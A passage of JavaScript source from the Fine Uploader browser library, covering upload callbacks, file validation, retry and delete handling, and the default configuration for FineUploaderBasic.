                        if (retVal instanceof qq.Promise) {
                            retVal.done(function() {
                                self._options.callbacks.onComplete(id, name, result, xhr);
                            });
                        } else {
                            self._options.callbacks.onComplete(id, name, result, xhr);
                        }
                    },
                    onCancel: function(id, name, cancelFinalizationEffort) {
                        var promise = new qq.Promise();
                        self._handleCheckedCallback({
                            name: "onCancel",
                            callback: qq.bind(self._options.callbacks.onCancel, self, id, name),
                            onFailure: promise.failure,
                            onSuccess: function() {
                                cancelFinalizationEffort.then(function() {
                                    self._onCancel(id, name);
                                });
                                promise.success();
                            },
                            identifier: id
                        });
                        return promise;
                    },
                    onUploadPrep: qq.bind(this._onUploadPrep, this),
                    onUpload: function(id, name) {
                        self._onUpload(id, name);
                        self._options.callbacks.onUpload(id, name);
                    },
                    onUploadChunk: function(id, name, chunkData) {
                        self._onUploadChunk(id, chunkData);
                        self._options.callbacks.onUploadChunk(id, name, chunkData);
                    },
                    onUploadChunkSuccess: function(id, chunkData, result, xhr) {
                        self._options.callbacks.onUploadChunkSuccess.apply(self, arguments);
                    },
                    onResume: function(id, name, chunkData) {
                        return self._options.callbacks.onResume(id, name, chunkData);
                    },
                    onAutoRetry: function(id, name, responseJSON, xhr) {
                        return self._onAutoRetry.apply(self, arguments);
                    },
                    onUuidChanged: function(id, newUuid) {
                        self.log("Server requested UUID change from '" + self.getUuid(id) + "' to '" + newUuid + "'");
                        self.setUuid(id, newUuid);
                    },
                    getName: qq.bind(self.getName, self),
                    getUuid: qq.bind(self.getUuid, self),
                    getSize: qq.bind(self.getSize, self),
                    setSize: qq.bind(self._setSize, self),
                    getDataByUuid: function(uuid) {
                        return self.getUploads({
                            uuid: uuid
                        });
                    },
                    isQueued: function(id) {
                        var status = self.getUploads({
                            id: id
                        }).status;
                        return status === qq.status.QUEUED || status === qq.status.SUBMITTED || status === qq.status.UPLOAD_RETRYING || status === qq.status.PAUSED;
                    },
                    getIdsInProxyGroup: self._uploadData.getIdsInProxyGroup,
                    getIdsInBatch: self._uploadData.getIdsInBatch
                };
                qq.each(this._options.request, function(prop, val) {
                    options[prop] = val;
                });
                options.customHeaders = this._customHeadersStore;
                if (additionalOptions) {
                    qq.each(additionalOptions, function(key, val) {
                        options[key] = val;
                    });
                }
                return new qq.UploadHandlerController(options, namespace);
            },
            _fileOrBlobRejected: function(id) {
                this._netUploadedOrQueued--;
                this._uploadData.setStatus(id, qq.status.REJECTED);
            },
            _formatSize: function(bytes) {
                var i = -1;
                do {
                    bytes = bytes / 1e3;
                    i++;
                } while (bytes > 999);
                return Math.max(bytes, .1).toFixed(1) + this._options.text.sizeSymbols[i];
            },
            _generateExtraButtonSpecs: function() {
                var self = this;
                this._extraButtonSpecs = {};
                qq.each(this._options.extraButtons, function(idx, extraButtonOptionEntry) {
                    var multiple = extraButtonOptionEntry.multiple, validation = qq.extend({}, self._options.validation, true), extraButtonSpec = qq.extend({}, extraButtonOptionEntry);
                    if (multiple === undefined) {
                        multiple = self._options.multiple;
                    }
                    if (extraButtonSpec.validation) {
                        qq.extend(validation, extraButtonOptionEntry.validation, true);
                    }
                    qq.extend(extraButtonSpec, {
                        multiple: multiple,
                        validation: validation
                    }, true);
                    self._initExtraButton(extraButtonSpec);
                });
            },
            _getButton: function(buttonId) {
                var extraButtonsSpec = this._extraButtonSpecs[buttonId];
                if (extraButtonsSpec) {
                    return extraButtonsSpec.element;
                } else if (buttonId === this._defaultButtonId) {
                    return this._options.button;
                }
            },
            _getButtonId: function(buttonOrFileInputOrFile) {
                var inputs, fileInput, fileBlobOrInput = buttonOrFileInputOrFile;
                if (fileBlobOrInput instanceof qq.BlobProxy) {
                    fileBlobOrInput = fileBlobOrInput.referenceBlob;
                }
                if (fileBlobOrInput && !qq.isBlob(fileBlobOrInput)) {
                    if (qq.isFile(fileBlobOrInput)) {
                        return fileBlobOrInput.qqButtonId;
                    } else if (fileBlobOrInput.tagName.toLowerCase() === "input" && fileBlobOrInput.type.toLowerCase() === "file") {
                        return fileBlobOrInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);
                    }
                    inputs = fileBlobOrInput.getElementsByTagName("input");
                    qq.each(inputs, function(idx, input) {
                        if (input.getAttribute("type") === "file") {
                            fileInput = input;
                            return false;
                        }
                    });
                    if (fileInput) {
                        return fileInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);
                    }
                }
            },
            _getNotFinished: function() {
                return this._uploadData.retrieve({
                    status: [ qq.status.UPLOADING, qq.status.UPLOAD_RETRYING, qq.status.QUEUED, qq.status.SUBMITTING, qq.status.SUBMITTED, qq.status.PAUSED ]
                }).length;
            },
            _getValidationBase: function(buttonId) {
                var extraButtonSpec = this._extraButtonSpecs[buttonId];
                return extraButtonSpec ? extraButtonSpec.validation : this._options.validation;
            },
            _getValidationDescriptor: function(fileWrapper) {
                if (fileWrapper.file instanceof qq.BlobProxy) {
                    return {
                        name: qq.getFilename(fileWrapper.file.referenceBlob),
                        size: fileWrapper.file.referenceBlob.size
                    };
                }
                return {
                    name: this.getUploads({
                        id: fileWrapper.id
                    }).name,
                    size: this.getUploads({
                        id: fileWrapper.id
                    }).size
                };
            },
            _getValidationDescriptors: function(fileWrappers) {
                var self = this, fileDescriptors = [];
                qq.each(fileWrappers, function(idx, fileWrapper) {
                    fileDescriptors.push(self._getValidationDescriptor(fileWrapper));
                });
                return fileDescriptors;
            },
            _handleCameraAccess: function() {
                if (this._options.camera.ios && qq.ios()) {
                    var acceptIosCamera = "image/*;capture=camera", button = this._options.camera.button, buttonId = button ? this._getButtonId(button) : this._defaultButtonId, optionRoot = this._options;
                    if (buttonId && buttonId !== this._defaultButtonId) {
                        optionRoot = this._extraButtonSpecs[buttonId];
                    }
                    optionRoot.multiple = false;
                    if (optionRoot.validation.acceptFiles === null) {
                        optionRoot.validation.acceptFiles = acceptIosCamera;
                    } else {
                        optionRoot.validation.acceptFiles += "," + acceptIosCamera;
                    }
                    qq.each(this._buttons, function(idx, button) {
                        if (button.getButtonId() === buttonId) {
                            button.setMultiple(optionRoot.multiple);
                            button.setAcceptFiles(optionRoot.acceptFiles);
                            return false;
                        }
                    });
                }
            },
            _handleCheckedCallback: function(details) {
                var self = this, callbackRetVal = details.callback();
                if (qq.isGenericPromise(callbackRetVal)) {
                    this.log(details.name + " - waiting for " + details.name + " promise to be fulfilled for " + details.identifier);
                    return callbackRetVal.then(function(successParam) {
                        self.log(details.name + " promise success for " + details.identifier);
                        details.onSuccess(successParam);
                    }, function() {
                        if (details.onFailure) {
                            self.log(details.name + " promise failure for " + details.identifier);
                            details.onFailure();
                        } else {
                            self.log(details.name + " promise failure for " + details.identifier);
                        }
                    });
                }
                if (callbackRetVal !== false) {
                    details.onSuccess(callbackRetVal);
                } else {
                    if (details.onFailure) {
                        this.log(details.name + " - return value was 'false' for " + details.identifier + ".  Invoking failure callback.");
                        details.onFailure();
                    } else {
                        this.log(details.name + " - return value was 'false' for " + details.identifier + ".  Will not proceed.");
                    }
                }
                return callbackRetVal;
            },
            _handleNewFile: function(file, batchId, newFileWrapperList) {
                var self = this, uuid = qq.getUniqueId(), size = -1, name = qq.getFilename(file), actualFile = file.blob || file, handler = this._customNewFileHandler ? this._customNewFileHandler : qq.bind(self._handleNewFileGeneric, self);
                if (!qq.isInput(actualFile) && actualFile.size >= 0) {
                    size = actualFile.size;
                }
                handler(actualFile, name, uuid, size, newFileWrapperList, batchId, this._options.request.uuidName, {
                    uploadData: self._uploadData,
                    paramsStore: self._paramsStore,
                    addFileToHandler: function(id, file) {
                        self._handler.add(id, file);
                        self._netUploadedOrQueued++;
                        self._trackButton(id);
                    }
                });
            },
            _handleNewFileGeneric: function(file, name, uuid, size, fileList, batchId) {
                var id = this._uploadData.addFile({
                    uuid: uuid,
                    name: name,
                    size: size,
                    batchId: batchId
                });
                this._handler.add(id, file);
                this._trackButton(id);
                this._netUploadedOrQueued++;
                fileList.push({
                    id: id,
                    file: file
                });
            },
            _handlePasteSuccess: function(blob, extSuppliedName) {
                var extension = blob.type.split("/")[1], name = extSuppliedName;
                if (name == null) {
                    name = this._options.paste.defaultName;
                }
                name += "." + extension;
                this.addFiles({
                    name: name,
                    blob: blob
                });
            },
            _initExtraButton: function(spec) {
                var button = this._createUploadButton({
                    accept: spec.validation.acceptFiles,
                    allowedExtensions: spec.validation.allowedExtensions,
                    element: spec.element,
                    folders: spec.folders,
                    multiple: spec.multiple,
                    title: spec.fileInputTitle
                });
                this._extraButtonSpecs[button.getButtonId()] = spec;
            },
            _initFormSupportAndParams: function() {
                this._formSupport = qq.FormSupport && new qq.FormSupport(this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this));
                if (this._formSupport && this._formSupport.attachedToForm) {
                    this._paramsStore = this._createStore(this._options.request.params, this._formSupport.getFormInputsAsObject);
                    this._options.autoUpload = this._formSupport.newAutoUpload;
                    if (this._formSupport.newEndpoint) {
                        this._options.request.endpoint = this._formSupport.newEndpoint;
                    }
                } else {
                    this._paramsStore = this._createStore(this._options.request.params);
                }
            },
            _isDeletePossible: function() {
                if (!qq.DeleteFileAjaxRequester || !this._options.deleteFile.enabled) {
                    return false;
                }
                if (this._options.cors.expected) {
                    if (qq.supportedFeatures.deleteFileCorsXhr) {
                        return true;
                    }
                    if (qq.supportedFeatures.deleteFileCorsXdr && this._options.cors.allowXdr) {
                        return true;
                    }
                    return false;
                }
                return true;
            },
            _isAllowedExtension: function(allowed, fileName) {
                var valid = false;
                if (!allowed.length) {
                    return true;
                }
                qq.each(allowed, function(idx, allowedExt) {
                    if (qq.isString(allowedExt)) {
                        var extRegex = new RegExp("\\." + allowedExt + "$", "i");
                        if (fileName.match(extRegex) != null) {
                            valid = true;
                            return false;
                        }
                    }
                });
                return valid;
            },
            _itemError: function(code, maybeNameOrNames, item) {
                var message = this._options.messages[code], allowedExtensions = [], names = [].concat(maybeNameOrNames), name = names[0], buttonId = this._getButtonId(item), validationBase = this._getValidationBase(buttonId), extensionsForMessage, placeholderMatch;
                function r(name, replacement) {
                    message = message.replace(name, replacement);
                }
                qq.each(validationBase.allowedExtensions, function(idx, allowedExtension) {
                    if (qq.isString(allowedExtension)) {
                        allowedExtensions.push(allowedExtension);
                    }
                });
                extensionsForMessage = allowedExtensions.join(", ").toLowerCase();
                r("{file}", this._options.formatFileName(name));
                r("{extensions}", extensionsForMessage);
                r("{sizeLimit}", this._formatSize(validationBase.sizeLimit));
                r("{minSizeLimit}", this._formatSize(validationBase.minSizeLimit));
                placeholderMatch = message.match(/(\{\w+\})/g);
                if (placeholderMatch !== null) {
                    qq.each(placeholderMatch, function(idx, placeholder) {
                        r(placeholder, names[idx]);
                    });
                }
                this._options.callbacks.onError(null, name, message, undefined);
                return message;
            },
            _manualRetry: function(id, callback) {
                if (this._onBeforeManualRetry(id)) {
                    this._netUploadedOrQueued++;
                    this._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);
                    if (callback) {
                        callback(id);
                    } else {
                        this._handler.retry(id);
                    }
                    return true;
                }
            },
            _maybeAllComplete: function(id, status) {
                var self = this, notFinished = this._getNotFinished();
                if (status === qq.status.UPLOAD_SUCCESSFUL) {
                    this._succeededSinceLastAllComplete.push(id);
                } else if (status === qq.status.UPLOAD_FAILED) {
                    this._failedSinceLastAllComplete.push(id);
                }
                if (notFinished === 0 && (this._succeededSinceLastAllComplete.length || this._failedSinceLastAllComplete.length)) {
                    setTimeout(function() {
                        self._onAllComplete(self._succeededSinceLastAllComplete, self._failedSinceLastAllComplete);
                    }, 0);
                }
            },
            _maybeHandleIos8SafariWorkaround: function() {
                var self = this;
                if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {
                    setTimeout(function() {
                        window.alert(self._options.messages.unsupportedBrowserIos8Safari);
                    }, 0);
                    throw new qq.Error(this._options.messages.unsupportedBrowserIos8Safari);
                }
            },
            _maybeParseAndSendUploadError: function(id, name, response, xhr) {
                if (!response.success) {
                    if (xhr && xhr.status !== 200 && !response.error) {
                        this._options.callbacks.onError(id, name, "XHR returned response code " + xhr.status, xhr);
                    } else {
                        var errorReason = response.error ? response.error : this._options.text.defaultResponseError;
                        this._options.callbacks.onError(id, name, errorReason, xhr);
                    }
                }
            },
            _maybeProcessNextItemAfterOnValidateCallback: function(validItem, items, index, params, endpoint) {
                var self = this;
                if (items.length > index) {
                    if (validItem || !this._options.validation.stopOnFirstInvalidFile) {
                        setTimeout(function() {
                            var validationDescriptor = self._getValidationDescriptor(items[index]), buttonId = self._getButtonId(items[index].file), button = self._getButton(buttonId);
                            self._handleCheckedCallback({
                                name: "onValidate",
                                callback: qq.bind(self._options.callbacks.onValidate, self, validationDescriptor, button),
                                onSuccess: qq.bind(self._onValidateCallbackSuccess, self, items, index, params, endpoint),
                                onFailure: qq.bind(self._onValidateCallbackFailure, self, items, index, params, endpoint),
                                identifier: "Item '" + validationDescriptor.name + "', size: " + validationDescriptor.size
                            });
                        }, 0);
                    } else if (!validItem) {
                        for (;index < items.length; index++) {
                            self._fileOrBlobRejected(items[index].id);
                        }
                    }
                }
            },
            _onAllComplete: function(successful, failed) {
                this._totalProgress && this._totalProgress.onAllComplete(successful, failed, this._preventRetries);
                this._options.callbacks.onAllComplete(qq.extend([], successful), qq.extend([], failed));
                this._succeededSinceLastAllComplete = [];
                this._failedSinceLastAllComplete = [];
            },
            _onAutoRetry: function(id, name, responseJSON, xhr, callback) {
                var self = this;
                self._preventRetries[id] = responseJSON[self._options.retry.preventRetryResponseProperty];
                if (self._shouldAutoRetry(id, name, responseJSON)) {
                    self._maybeParseAndSendUploadError.apply(self, arguments);
                    self._options.callbacks.onAutoRetry(id, name, self._autoRetries[id]);
                    self._onBeforeAutoRetry(id, name);
                    self._retryTimeouts[id] = setTimeout(function() {
                        self.log("Retrying " + name + "...");
                        self._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);
                        if (callback) {
                            callback(id);
                        } else {
                            self._handler.retry(id);
                        }
                    }, self._options.retry.autoAttemptDelay * 1e3);
                    return true;
                }
            },
            _onBeforeAutoRetry: function(id, name) {
                this.log("Waiting " + this._options.retry.autoAttemptDelay + " seconds before retrying " + name + "...");
            },
            _onBeforeManualRetry: function(id) {
                var itemLimit = this._currentItemLimit, fileName;
                if (this._preventRetries[id]) {
                    this.log("Retries are forbidden for id " + id, "warn");
                    return false;
                } else if (this._handler.isValid(id)) {
                    fileName = this.getName(id);
                    if (this._options.callbacks.onManualRetry(id, fileName) === false) {
                        return false;
                    }
                    if (itemLimit > 0 && this._netUploadedOrQueued + 1 > itemLimit) {
                        this._itemError("retryFailTooManyItems");
                        return false;
                    }
                    this.log("Retrying upload for '" + fileName + "' (id: " + id + ")...");
                    return true;
                } else {
                    this.log("'" + id + "' is not a valid file ID", "error");
                    return false;
                }
            },
            _onCancel: function(id, name) {
                this._netUploadedOrQueued--;
                clearTimeout(this._retryTimeouts[id]);
                var storedItemIndex = qq.indexOf(this._storedIds, id);
                if (!this._options.autoUpload && storedItemIndex >= 0) {
                    this._storedIds.splice(storedItemIndex, 1);
                }
                this._uploadData.setStatus(id, qq.status.CANCELED);
            },
            _onComplete: function(id, name, result, xhr) {
                if (!result.success) {
                    this._netUploadedOrQueued--;
                    this._uploadData.setStatus(id, qq.status.UPLOAD_FAILED);
                    if (result[this._options.retry.preventRetryResponseProperty] === true) {
                        this._preventRetries[id] = true;
                    }
                } else {
                    if (result.thumbnailUrl) {
                        this._thumbnailUrls[id] = result.thumbnailUrl;
                    }
                    this._netUploaded++;
                    this._uploadData.setStatus(id, qq.status.UPLOAD_SUCCESSFUL);
                }
                this._maybeParseAndSendUploadError(id, name, result, xhr);
                return result.success ? true : false;
            },
            _onDelete: function(id) {
                this._uploadData.setStatus(id, qq.status.DELETING);
            },
            _onDeleteComplete: function(id, xhrOrXdr, isError) {
                var name = this.getName(id);
                if (isError) {
                    this._uploadData.setStatus(id, qq.status.DELETE_FAILED);
                    this.log("Delete request for '" + name + "' has failed.", "error");
                    if (xhrOrXdr.withCredentials === undefined) {
                        this._options.callbacks.onError(id, name, "Delete request failed", xhrOrXdr);
                    } else {
                        this._options.callbacks.onError(id, name, "Delete request failed with response code " + xhrOrXdr.status, xhrOrXdr);
                    }
                } else {
                    this._netUploadedOrQueued--;
                    this._netUploaded--;
                    this._handler.expunge(id);
                    this._uploadData.setStatus(id, qq.status.DELETED);
                    this.log("Delete request for '" + name + "' has succeeded.");
                }
            },
            _onInputChange: function(input) {
                var fileIndex;
                if (qq.supportedFeatures.ajaxUploading) {
                    for (fileIndex = 0; fileIndex < input.files.length; fileIndex++) {
                        this._annotateWithButtonId(input.files[fileIndex], input);
                    }
                    this.addFiles(input.files);
                } else if (input.value.length > 0) {
                    this.addFiles(input);
                }
                qq.each(this._buttons, function(idx, button) {
                    button.reset();
                });
            },
            _onProgress: function(id, name, loaded, total) {
                this._totalProgress && this._totalProgress.onIndividualProgress(id, loaded, total);
            },
            _onSubmit: function(id, name) {},
            _onSubmitCallbackSuccess: function(id, name) {
                this._onSubmit.apply(this, arguments);
                this._uploadData.setStatus(id, qq.status.SUBMITTED);
                this._onSubmitted.apply(this, arguments);
                if (this._options.autoUpload) {
                    this._options.callbacks.onSubmitted.apply(this, arguments);
                    this._uploadFile(id);
                } else {
                    this._storeForLater(id);
                    this._options.callbacks.onSubmitted.apply(this, arguments);
                }
            },
            _onSubmitDelete: function(id, onSuccessCallback, additionalMandatedParams) {
                var uuid = this.getUuid(id), adjustedOnSuccessCallback;
                if (onSuccessCallback) {
                    adjustedOnSuccessCallback = qq.bind(onSuccessCallback, this, id, uuid, additionalMandatedParams);
                }
                if (this._isDeletePossible()) {
                    this._handleCheckedCallback({
                        name: "onSubmitDelete",
                        callback: qq.bind(this._options.callbacks.onSubmitDelete, this, id),
                        onSuccess: adjustedOnSuccessCallback || qq.bind(this._deleteHandler.sendDelete, this, id, uuid, additionalMandatedParams),
                        identifier: id
                    });
                    return true;
                } else {
                    this.log("Delete request ignored for ID " + id + ", delete feature is disabled or request not possible " + "due to CORS on a user agent that does not support pre-flighting.", "warn");
                    return false;
                }
            },
            _onSubmitted: function(id) {},
            _onTotalProgress: function(loaded, total) {
                this._options.callbacks.onTotalProgress(loaded, total);
            },
            _onUploadPrep: function(id) {},
            _onUpload: function(id, name) {
                this._uploadData.setStatus(id, qq.status.UPLOADING);
            },
            _onUploadChunk: function(id, chunkData) {},
            _onUploadStatusChange: function(id, oldStatus, newStatus) {
                if (newStatus === qq.status.PAUSED) {
                    clearTimeout(this._retryTimeouts[id]);
                }
            },
            _onValidateBatchCallbackFailure: function(fileWrappers) {
                var self = this;
                qq.each(fileWrappers, function(idx, fileWrapper) {
                    self._fileOrBlobRejected(fileWrapper.id);
                });
            },
            _onValidateBatchCallbackSuccess: function(validationDescriptors, items, params, endpoint, button) {
                var errorMessage, itemLimit = this._currentItemLimit, proposedNetFilesUploadedOrQueued = this._netUploadedOrQueued;
                if (itemLimit === 0 || proposedNetFilesUploadedOrQueued <= itemLimit) {
                    if (items.length > 0) {
                        this._handleCheckedCallback({
                            name: "onValidate",
                            callback: qq.bind(this._options.callbacks.onValidate, this, validationDescriptors[0], button),
                            onSuccess: qq.bind(this._onValidateCallbackSuccess, this, items, 0, params, endpoint),
                            onFailure: qq.bind(this._onValidateCallbackFailure, this, items, 0, params, endpoint),
                            identifier: "Item '" + items[0].file.name + "', size: " + items[0].file.size
                        });
                    } else {
                        this._itemError("noFilesError");
                    }
                } else {
                    this._onValidateBatchCallbackFailure(items);
                    errorMessage = this._options.messages.tooManyItemsError.replace(/\{netItems\}/g, proposedNetFilesUploadedOrQueued).replace(/\{itemLimit\}/g, itemLimit);
                    this._batchError(errorMessage);
                }
            },
            _onValidateCallbackFailure: function(items, index, params, endpoint) {
                var nextIndex = index + 1;
                this._fileOrBlobRejected(items[index].id, items[index].file.name);
                this._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);
            },
            _onValidateCallbackSuccess: function(items, index, params, endpoint) {
                var self = this, nextIndex = index + 1, validationDescriptor = this._getValidationDescriptor(items[index]);
                this._validateFileOrBlobData(items[index], validationDescriptor).then(function() {
                    self._upload(items[index].id, params, endpoint);
                    self._maybeProcessNextItemAfterOnValidateCallback(true, items, nextIndex, params, endpoint);
                }, function() {
                    self._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);
                });
            },
            _prepareItemsForUpload: function(items, params, endpoint) {
                if (items.length === 0) {
                    this._itemError("noFilesError");
                    return;
                }
                var validationDescriptors = this._getValidationDescriptors(items), buttonId = this._getButtonId(items[0].file), button = this._getButton(buttonId);
                this._handleCheckedCallback({
                    name: "onValidateBatch",
                    callback: qq.bind(this._options.callbacks.onValidateBatch, this, validationDescriptors, button),
                    onSuccess: qq.bind(this._onValidateBatchCallbackSuccess, this, validationDescriptors, items, params, endpoint, button),
                    onFailure: qq.bind(this._onValidateBatchCallbackFailure, this, items),
                    identifier: "batch validation"
                });
            },
            _preventLeaveInProgress: function() {
                var self = this;
                this._disposeSupport.attach(window, "beforeunload", function(e) {
                    if (self.getInProgress()) {
                        e = e || window.event;
                        e.returnValue = self._options.messages.onLeave;
                        return self._options.messages.onLeave;
                    }
                });
            },
            _refreshSessionData: function() {
                var self = this, options = this._options.session;
                if (qq.Session && this._options.session.endpoint != null) {
                    if (!this._session) {
                        qq.extend(options, {
                            cors: this._options.cors
                        });
                        options.log = qq.bind(this.log, this);
                        options.addFileRecord = qq.bind(this._addCannedFile, this);
                        this._session = new qq.Session(options);
                    }
                    setTimeout(function() {
                        self._session.refresh().then(function(response, xhrOrXdr) {
                            self._sessionRequestComplete();
                            self._options.callbacks.onSessionRequestComplete(response, true, xhrOrXdr);
                        }, function(response, xhrOrXdr) {
                            self._options.callbacks.onSessionRequestComplete(response, false, xhrOrXdr);
                        });
                    }, 0);
                }
            },
            _sessionRequestComplete: function() {},
            _setSize: function(id, newSize) {
                this._uploadData.updateSize(id, newSize);
                this._totalProgress && this._totalProgress.onNewSize(id);
            },
            _shouldAutoRetry: function(id, name, responseJSON) {
                var uploadData = this._uploadData.retrieve({
                    id: id
                });
                if (!this._preventRetries[id] && this._options.retry.enableAuto && uploadData.status !== qq.status.PAUSED) {
                    if (this._autoRetries[id] === undefined) {
                        this._autoRetries[id] = 0;
                    }
                    if (this._autoRetries[id] < this._options.retry.maxAutoAttempts) {
                        this._autoRetries[id] += 1;
                        return true;
                    }
                }
                return false;
            },
            _storeForLater: function(id) {
                this._storedIds.push(id);
            },
            _trackButton: function(id) {
                var buttonId;
                if (qq.supportedFeatures.ajaxUploading) {
                    buttonId = this._handler.getFile(id).qqButtonId;
                } else {
                    buttonId = this._getButtonId(this._handler.getInput(id));
                }
                if (buttonId) {
                    this._buttonIdsForFileIds[id] = buttonId;
                }
            },
            _updateFormSupportAndParams: function(formElementOrId) {
                this._options.form.element = formElementOrId;
                this._formSupport = qq.FormSupport && new qq.FormSupport(this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this));
                if (this._formSupport && this._formSupport.attachedToForm) {
                    this._paramsStore.addReadOnly(null, this._formSupport.getFormInputsAsObject);
                    this._options.autoUpload = this._formSupport.newAutoUpload;
                    if (this._formSupport.newEndpoint) {
                        this.setEndpoint(this._formSupport.newEndpoint);
                    }
                }
            },
            _upload: function(id, params, endpoint) {
                var name = this.getName(id);
                if (params) {
                    this.setParams(params, id);
                }
                if (endpoint) {
                    this.setEndpoint(endpoint, id);
                }
                this._handleCheckedCallback({
                    name: "onSubmit",
                    callback: qq.bind(this._options.callbacks.onSubmit, this, id, name),
                    onSuccess: qq.bind(this._onSubmitCallbackSuccess, this, id, name),
                    onFailure: qq.bind(this._fileOrBlobRejected, this, id, name),
                    identifier: id
                });
            },
            _uploadFile: function(id) {
                if (!this._handler.upload(id)) {
                    this._uploadData.setStatus(id, qq.status.QUEUED);
                }
            },
            _uploadStoredFiles: function() {
                var idToUpload, stillSubmitting, self = this;
                while (this._storedIds.length) {
                    idToUpload = this._storedIds.shift();
                    this._uploadFile(idToUpload);
                }
                stillSubmitting = this.getUploads({
                    status: qq.status.SUBMITTING
                }).length;
                if (stillSubmitting) {
                    qq.log("Still waiting for " + stillSubmitting + " files to clear submit queue. Will re-parse stored IDs array shortly.");
                    setTimeout(function() {
                        self._uploadStoredFiles();
                    }, 1e3);
                }
            },
            _validateFileOrBlobData: function(fileWrapper, validationDescriptor) {
                var self = this, file = function() {
                    if (fileWrapper.file instanceof qq.BlobProxy) {
                        return fileWrapper.file.referenceBlob;
                    }
                    return fileWrapper.file;
                }(), name = validationDescriptor.name, size = validationDescriptor.size, buttonId = this._getButtonId(fileWrapper.file), validationBase = this._getValidationBase(buttonId), validityChecker = new qq.Promise();
                validityChecker.then(function() {}, function() {
                    self._fileOrBlobRejected(fileWrapper.id, name);
                });
                if (qq.isFileOrInput(file) && !this._isAllowedExtension(validationBase.allowedExtensions, name)) {
                    this._itemError("typeError", name, file);
                    return validityChecker.failure();
                }
                if (size === 0) {
                    this._itemError("emptyError", name, file);
                    return validityChecker.failure();
                }
                if (size > 0 && validationBase.sizeLimit && size > validationBase.sizeLimit) {
                    this._itemError("sizeError", name, file);
                    return validityChecker.failure();
                }
                if (size > 0 && size < validationBase.minSizeLimit) {
                    this._itemError("minSizeError", name, file);
                    return validityChecker.failure();
                }
                if (qq.ImageValidation && qq.supportedFeatures.imagePreviews && qq.isFile(file)) {
                    new qq.ImageValidation(file, qq.bind(self.log, self)).validate(validationBase.image).then(validityChecker.success, function(errorCode) {
                        self._itemError(errorCode + "ImageError", name, file);
                        validityChecker.failure();
                    });
                } else {
                    validityChecker.success();
                }
                return validityChecker;
            },
            _wrapCallbacks: function() {
                var self, safeCallback, prop;
                self = this;
                safeCallback = function(name, callback, args) {
                    var errorMsg;
                    try {
                        return callback.apply(self, args);
                    } catch (exception) {
                        errorMsg = exception.message || exception.toString();
                        self.log("Caught exception in '" + name + "' callback - " + errorMsg, "error");
                    }
                };
                for (prop in this._options.callbacks) {
                    (function() {
                        var callbackName, callbackFunc;
                        callbackName = prop;
                        callbackFunc = self._options.callbacks[callbackName];
                        self._options.callbacks[callbackName] = function() {
                            return safeCallback(callbackName, callbackFunc, arguments);
                        };
                    })();
                }
            }
        };
    })();
    (function() {
        "use strict";
        qq.FineUploaderBasic = function(o) {
            var self = this;
            this._options = {
                debug: false,
                button: null,
                multiple: true,
                maxConnections: 3,
                disableCancelForFormUploads: false,
                autoUpload: true,
                request: {
                    customHeaders: {},
                    endpoint: "/server/upload",
                    filenameParam: "qqfilename",
                    forceMultipart: true,
                    inputName: "qqfile",
                    method: "POST",
                    params: {},
                    paramsInBody: true,
                    totalFileSizeName: "qqtotalfilesize",
                    uuidName: "qquuid"
                },
                validation: {
                    allowedExtensions: [],
                    sizeLimit: 0,
                    minSizeLimit: 0,
                    itemLimit: 0,
                    stopOnFirstInvalidFile: true,
                    acceptFiles: null,
                    image: {
                        maxHeight: 0,
                        maxWidth: 0,
                        minHeight: 0,
                        minWidth: 0
                    }
                },
                callbacks: {
                    onSubmit: function(id, name) {},
                    onSubmitted: function(id, name) {},
                    onComplete: function(id, name, responseJSON, maybeXhr) {},
                    onAllComplete: function(successful, failed) {},
                    onCancel: function(id, name) {},
                    onUpload: function(id, name) {},
                    onUploadChunk: function(id, name, chunkData) {},
                    onUploadChunkSuccess: function(id, chunkData, responseJSON, xhr) {},
                    onResume: function(id, fileName, chunkData) {},
                    onProgress: function(id, name, loaded, total) {},
                    onTotalProgress: function(loaded, total) {},
                    onError: function(id, name, reason, maybeXhrOrXdr) {},
                    onAutoRetry: function(id, name, attemptNumber) {},
                    onManualRetry: function(id, name) {},
                    onValidateBatch: function(fileOrBlobData) {},
                    onValidate: function(fileOrBlobData) {},
                    onSubmitDelete: function(id) {},
                    onDelete: function(id) {},
                    onDeleteComplete: function(id, xhrOrXdr, isError) {},
                    onPasteReceived: function(blob) {},
                    onStatusChange: function(id, oldStatus, newStatus) {},
                    onSessionRequestComplete: function(response, success, xhrOrXdr) {}
                },
                messages: {
                    typeError: "{file} has an invalid extension. Valid extension(s): {extensions}.",
                    sizeError: "{file} is too large, maximum file size is {sizeLimit}.",
                    minSizeError: "{file} is too small, minimum file size is {minSizeLimit}.",
                    emptyError: "{file} is empty, please select files again without it.",
                    noFilesError: "No files to upload.",
                    tooManyItemsError: "Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.",
                    maxHeightImageError: "Image is too tall.",
                    maxWidthImageError: "Image is too wide.",
                    minHeightImageError: "Image is not tall enough.",
                    minWidthImageError: "Image is not wide enough.",
                    retryFailTooManyItems: "Retry failed - you have reached your file limit.",
                    onLeave: "The files are being uploaded, if you leave now the upload will be canceled.",
                    unsupportedBrowserIos8Safari: "Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues."
                },
                retry: {
                    enableAuto: false,
                    maxAutoAttempts: 3,
                    autoAttemptDelay: 5,
                    preventRetryResponseProperty: "preventRetry"
                },
                classes: {
                    buttonHover: "qq-upload-button-hover",
                    buttonFocus: "qq-upload-button-focus"
                },
                chunking: {
                    enabled: false,
                    concurrent: {
                        enabled: false
                    },
                    mandatory: false,
                    paramNames: {
                        partIndex: "qqpartindex",
                        partByteOffset: "qqpartbyteoffset",
                        chunkSize: "qqchunksize",
                        totalFileSize: "qqtotalfilesize",
                        totalParts: "qqtotalparts"
                    },
                    partSize: 2e6,
                    success: {
                        endpoint: null
                    }
                },
                resume: {
                    enabled: false,
                    recordsExpireIn: 7,
                    paramNames: {
                        resuming: "qqresume"
                    }
                },
                formatFileName: function(fileOrBlobName) {
                    return fileOrBlobName;
